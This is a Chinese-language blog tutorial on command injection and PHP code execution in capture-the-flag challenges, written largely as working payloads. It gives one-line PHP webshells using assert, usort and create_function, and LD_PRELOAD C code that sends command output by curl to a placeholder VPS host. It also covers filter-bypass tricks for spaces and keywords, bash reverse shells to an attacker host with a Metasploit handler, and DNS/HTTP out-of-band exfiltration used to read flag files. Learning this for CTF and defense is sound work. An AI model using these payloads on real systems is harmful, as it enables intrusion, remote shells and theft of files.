Ethan's Blog

CTF命令执行及绕过技巧

字数统计: 3.7k阅读时长: 15 min
2019/03/07 Share
前言

今天是代码审计部分的一个技巧补充!前些阵子做了sql注入回顾篇系列!今天开启php代码审计系列!

今天内容主要是CTF中命令注入及绕过的一些技巧!以及构成RCE的一些情景!

@[toc]

正文

在详细介绍命令注入之前,有一点需要注意:命令注入与远程代码执行不同。他们的区别在于,远程代码执行实际上是调用服务器网站代码进行执行,而命令注入则是调用操作系统命令进行执行。 虽然最终效果都会在目标机器执行操,但是他们还是有区别的,基于这个区别,我们如何找到并利用方式也是有所不同的!

代码执行
代码执行的几种方式
1
2
3
4
5
6
7
8
9
${}执行代码
eval
assert
preg_replace
create_function()
array_map()
call_user_func()/call_user_func_array()
array_filter()
usort(),uasort()
  • ${}执行代码

    方法:${php代码}

1
${phpinfo()};
  • eval()执行代码
1
eval('echo 2;');
  • assert()

普通调用

1
2
//?a=phpinfo()
<?php assert($_POST['a']);?>

assert函数支持动态调用

1
2
3
4
5
//?a=phpinfo()
<?php
$a = 'assert';
$a($_POST['a']);
?>

php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用。

以上两种调用方法在php7.0.29版本之前都测试成功,7.0.29版本之后又动态调用的方法无法成功。

在7.0.29版本之后发现的奇怪的一点

1
2
3
4
5
6
<?php
//?a=phpinfo()
$a = 'assert';
$a($_POST['a']);
?>
//phpinfo()无法执行成功
1
2
3
4
5
<?php
$a = 'assert';
$a(phpinfo());
?>
//成功执行phpinfo()
  • preg_replace()
1
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

preg_replace 执行一个正则表达式的搜索和替换。

执行代码需要使用/e修饰符。如果不使用/e修饰符,代码则不会执行

1
2
$a = 'phpinfo()';
$b = preg_replace("/abc/e",$b,'abcd');
  • create_function()

说明

1
string create_function ( string $args , string $code )

该函数用来创建匿名函数。
这个函数的实现大概是这样的

1
2
3
4
5
6
7
8
9
$b = create_function('$name','echo $name;');
//实现
function niming($name){
echo $name;
}

$b(yang);

niming('yang');

第二个参数是执行代码的地方,将payload放在第二个参数的位置,然后调用该函数就可以执行payload了。
执行代码

1
2
3
$a = 'phpinfo();';
$b = create_function(" ",$a);
$b();

上面这种方法是最直接的,接下来看一点有趣的。

自己写的小示例

1
2
3
4
5
6
7
8
9
10
$id=$_GET['id'];

$code = 'echo $name. '.'的编号是'.$id.'; ';

$b = create_function('$name',$code);
//实现
function niming($name){
echo $name."编号".$id;
}
$b('sd');

这里直接传入phpinfo是不行的,构造的payload

1
?id=2;}phpinfo();/*

传入后,代码如下

1
2
3
4
function niming($name){
echo $name.编号2;
}phpinfo();/*
}

这样就执行了代码,再给出网上找的一个例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

error_reporting(0);

$sort_by = $_GET['sort_by'];

$sorter = ‘strnatcasecmp’;

$databases=array(’1234′,’4321′);

$sort_function = ‘ return 1 * ‘ . $sorter . ‘($a["' . $sort_by . '"], $b["' . $sort_by . '"]);’;

usort($databases, create_function(‘$a, $b’, $sort_function));

?>

构造的payload如下

1
?sort_by=”]);}phpinfo();/*

在自己写示例的时候,因为网上的一个示例纠结了挺久。
代码如下

1
2
3
4
5
6
7
8
9
10
11
12
<?php
//02-8.php?id=2;}phpinfo();/*
$id=$_GET['id'];
$str2='echo '.$a.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
echo "<br/>";
echo "==============================";
?>

纠结的原因是在这个例子中,构造$str2的时候,将变量a和变量b都写在了引号之外,但是变量a是匿名函数的参数,如果直接写在单引号外面的话,解析的时候会认为$a没有赋值,从而设置为空。继续往下看,匿名函数也就无法正常的执行。所以就在想办法将$a写在单引号里面,使其可以正常的作为匿名函数的第二个参数。

  • array_map()

官方文档

1
2
array array_map ( callable $callback , array $array1 [, array $... ] )
array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

漏洞演示

1
2
3
4
5
//?a=assert&b=phpinfo();
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);
  • call_user_func()/call_user_func_array()

和array_map()函数挺像的。

官方文档

call_user_func()
1
2
mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

call_user_func_array()

1
2
mixed call_user_func_array ( callable $callback , array $param_arr )
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

示例

call_user_func()

1
2
// ?a=phpinfo();
call_user_func(assert,$_GET['a']);

call_user_func_array()

1
2
3
4
//?a=phpinfo();
$array[0] = $_GET['a'];

call_user_func_array("assert",$array);
  • array_filter()

官方文档

1
2
3
array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

示例

1
2
$array[0] = $_GET['a'];
array_filter($array,'assert');
  • usort()/uasort()

usrot官方文档

1
2
bool usort ( array &$array , callable $value_compare_func )
本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。
  • shell_1
1
2
3
4
<?php
// ?1[]=test&1[]=phpinfo();&2=assert
usort(...$_GET);
?>

只有在php5.6以上环境才可使用
详解

关于...$_GET是php5.6引入的新特性。即将数组展开成参数的形式。

  • shell_2

下面这种写法只在php5.6版本以下可以使用。

1
2
// ?1=1+1&2=phpinfo();
usort($_GET,'asse'.'rt');
命令执行
常见命令执行函数
  • system()
    • passthru()
    • exec()
    • shell_exec()
    • `反引号
    • ob_start()
    • mail函数+LD_PRELOAD执行系统命令
  • system()
1
➜ ~ php -r "system('whoami');"

在这里插入图片描述

  • passthru()
1
➜ ~ php -r "passthru('whoami');"

在这里插入图片描述

  • exec()
1
➜ ~ php -r "echo exec('whoami');"

在这里插入图片描述

  • shell_exec()
1
➜ ~ php -r "echo shell_exec('whoami');"

在这里插入图片描述

  • `反引号
1
➜ ~ php -r "echo @`whoami`;"

在这里插入图片描述

  • ob_start()

官方文档

1
2
3
4
bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。

内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中。 想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。另外, 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。

使用

1
2
3
4
5
6
<?php
ob_start("system");
echo "whoami";
ob_end_flush();
?>
//输出www-data
  • mail函数+LD_PRELOAD执行系统命令

思路

LD_PRELOAD可以用来设置程序运行前优先加载的动态链接库,php函数mail在实现的过程中会调用标准库函数,通过上传一个编译好的动态链接程序(这个程序中重新定义了一个mail函数会调用的库函数,并且重新定义的库函数中包含执行系统命令的代码。),再通过LD_PRELOAD来设置优先加载我们的上传的动态链接程序,从而实现命令执行。

利用

a.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(){

void payload() {
system("curl http://vps_IP:4123/?a=`whoami`");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
}

编译

1
2
3
gcc -c -fPIC a.c -o a 

gcc -shared a -o a.so

mail.php

1
2
3
4
<?php
putenv("LD_PRELOAD=/var/www/html/a.so");
mail("a@localhost","","","","");
?>

监听vps的4123端口,访问mail.php。

在这里插入图片描述

绕过姿势

空格

在bash下,可以用以下字符代替空格

1
2
3
4
<
${IFS}
$IFS$9
%09

测试

1
2
3
4
5
6
7
root@kali:~# cat<test.txt
hello world!
root@kali:~# cat${IFS}test.txt
hello world!
root@kali:~# cat$IFS$9test.txt
hello world!
root@kali:~#

在这里插入图片描述

这里解释一下${IFS},$IFS,$IFS$9的区别,首先$IFS在linux下表示分隔符,然而我本地实验却会发生这种情况,这里解释一下,单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串!

%09测试

1
2
3
4
5
6
<?php
$cmd = $_GET['cmd'];
system("$cmd");
?>

//http://ip/index.php?cmd=cat%091.txt

在这里插入图片描述

命令终止符

1
2
%00
%20#

命令分隔符
这里介绍5种姿势

%0a 符号

%0d 符号

; 符号
在 shell 中,担任”连续指令”功能的符号就是”分号”

在这里插入图片描述

& 符号
在这里插入图片描述

& 放在启动参数后面表示设置此进程为后台进程,默认情况下,进程是前台进程,这时就把Shell给占据了,我们无法进行其他操作,对于那些没有交互的进程,很多时候,我们希望将其在后台启动,可以在启动参数的时候加一个’&’实现这个目的。进程切换到后台的时候,我们把它称为job。切换到后台时会输出相关job信息,这里36210就是该进程的PID

| 符号
在这里插入图片描述

管道符左边命令的输出就会作为管道符右边命令的输入,所以左边的输出并不显示

敏感字符绕过

这里假设过滤了cat

  • 利用变量绕过
1
root@kali:~# a=l;b=s;$a$b

在这里插入图片描述

  • 利用base编码绕过
1
2
3
4
5
root@kali:~# echo 'cat' | base64
Y2F0Cg==
root@kali:~# `echo 'Y2F0Cg==' | base64 -d` test.txt
hello world!
root@kali:~#

在这里插入图片描述

  • 未定义的初始化变量

    cat$x /etc/passwd
    在这里插入图片描述

  • 连接符

    cat /etc/pass’w’d
    在这里插入图片描述

  • 七个字的命令执行

这题是利用重命名文件绕过的,所以可以这样进行调用,因为限制了命令的长度,所以无法直接构造,只能通过文件构造

这里先介绍一下小技巧,linux下创建文件的命令可以用1>1创建文件名为1的空文件

在这里插入图片描述

进一步fuzz发现a>1居然也可以,虽然会报错,但是还是可以创建空文件。

在这里插入图片描述
ls>1可以直接把把ls的内容导入一个文件中,但是会默认追加\n

在这里插入图片描述

有了这个基础我们再来看这道题

1
2
3
4
5
<?php
if(strlen($_GET[1])<8){
echo shell_exec($_GET[1]);
}
?>

简单的代码,可以利用

1
2
3
4
5
6
7
8
9
1>wget\
1>域名.\
1>com\
1>-O\
1>she\
1>ll.p\
1>p
ls>a
sh a

这里注意.不能作为文件名的开头,因为linux下.是隐藏文件的开头,ls列不出来

然而这里还有个问题,就是ls下的文件名是按照字母顺序排序的,所以需要基于时间排序

1
ls -t>a
  • 网络地址转化为数字地址

网络地址有另外一种表示形式就是数字地址,比如127.0.0.1可以转化为2130706433可以直接访问http://2130706433或者http://0x7F000001这样就可以绕过.的ip过滤,这里给个转化网址http://www.msxindl.com/tools/ip/ip_num.asp

GCTF RCE

这题过滤了很多东西,下面说一下比较重要的

1
||&|;|%{}| |''|.|

这里给个payload

1
2
3
%0acat%09
%0Acat$IFS$9
%0acat

用%0a绕过curl然后在从我前面绕过空格的payload中随便挑一个没有过滤的

  • 通配符绕过

    Bash标准通配符(也称为通配符模式)被各种命令行程序用于处理多个文件。有关标准通配符的更多信息,并不是每个人都知道有很多bash语法是可以使用问号“?”,正斜杠“/”,数字和字母来执行系统命令的。你甚至可以使用相同数量的字符获取文件内容。

    我们可以通过man 7 glob 查看通配符帮助或者直接访问linux官网查询文档

在这里插入图片描述

这里我为大家举个栗子:

例如ls命令我们可以通过以下语法代替执行:

1
/???/?s --help

在这里插入图片描述

由于有师傅已经写的很好了,我也就不献丑了!请参考下列文章!

参考文章

​参考文章2

处理无回显的命令执行

1.利用自己的vps

第一种是利用bash命令并在本地进行nc监听结果查看回连日志,然后就行

先在vps处用nc进行监听

1
nc -l -p 8080 -vvv

然后在靶机命令执行处输入

1
|bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1

在这里插入图片描述

在这里插入图片描述

第二种是msg反向回连

同样vps用msg监听

1
2
3
4
5
6
7
8
vps的msf监听:

use exploit/multi/handler
set payload linux/armle/shell/reverse_tcp
set lport 8080
set lhost xxx.xxx.xxx.xxx
set exitonsession false
exploit -j

然后在靶机命令执行处输入

1
|bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1

即可getflag

2.利用ceye平台

平台的payload

记录在http request中

题目地址

1
http://192.168.10.55/

后台源码

1
2
3
4
<?php
$a = $_GET['id'];
system("$a");
?>

payload

1
curl http://192.168.10.55.o40fok.ceye.io/?id=`whoami`

只能使用linux的curl访问才会成功,在浏览器直接访问时无效的。
效果

图1

在这里插入图片描述

记录在dns query中

简单介绍

DNS在解析的时候是逐级解析的,并且会留下日志,所以可以将回显放在高级域名,这样在解析的时候就会将回显放在高级域名中,我们就可以在dns query中看到回显。
举个例子

在注册ceye.io之后会分配一个三级域名。就是\.ceye.io。

1
ping `whoami`.******.ceye.io

上面这条命令最终在ping的时候ping的是“root.***\***.ceye.io”,root就是我们构造的恶意命令执行的结果,我们把它放在四级域名这里,这样在DNS解析的时候就会记录下root这个四级域名。然后可以在ceye平台上看到我们的dns解析日志。也就看到了命令执行的回显。

所以这种方法的使用必须有ping命令。

真题解析

题目存在robots.txt文件,访问发现两个文件

1
2
index.txt
where_is_flag.php

index.php代码

1
2
3
4
5
6
<?php 
include("where_is_flag.php");
echo "ping";
$ip =(string)$_GET['ping'];
$ip =str_replace(">","0.0",$ip);
system("ping ".$ip);

可以看到存在ping命令,但是测试没有回显,于是就采用dnslog的方式来查看回显。
payload

1
2
ping `cat where_is_flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io
# 因为域名中不允许有空格,但是php代码中可能会含有空格,所以使用sed命令将php代码的空格替换为xx

最终的url

1
http://192.168.5.90/?ping=`cat where_is_flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io

在dns query中查看

图2

在这里插入图片描述

可以看到文件的内容是

1
<?php $flag="dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php";?>

由此得知flag.php的位置,继续打印flag.php的内容
获取flag的url

1
http://192.168.5.90/?ping=`cat dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io

图三

在这里插入图片描述
得到flag。

Think one Think

命令注入的利用其实跟sql注入流程相似,首先找到命令执行点,然后一步一步bypass,最好自己搭建环境实地测试,同时结合官方文档和资料,最终就会得到你需要的payload!

CATALOG
  1. 1. 前言
  2. 2. 正文
  3. 3. 代码执行
    1. 3.1. 代码执行的几种方式
  4. 4. 命令执行
    1. 4.1. 常见命令执行函数
  5. 5. 绕过姿势
    1. 5.1. 敏感字符绕过
    2. 5.2. 处理无回显的命令执行
  6. 6. Think one Think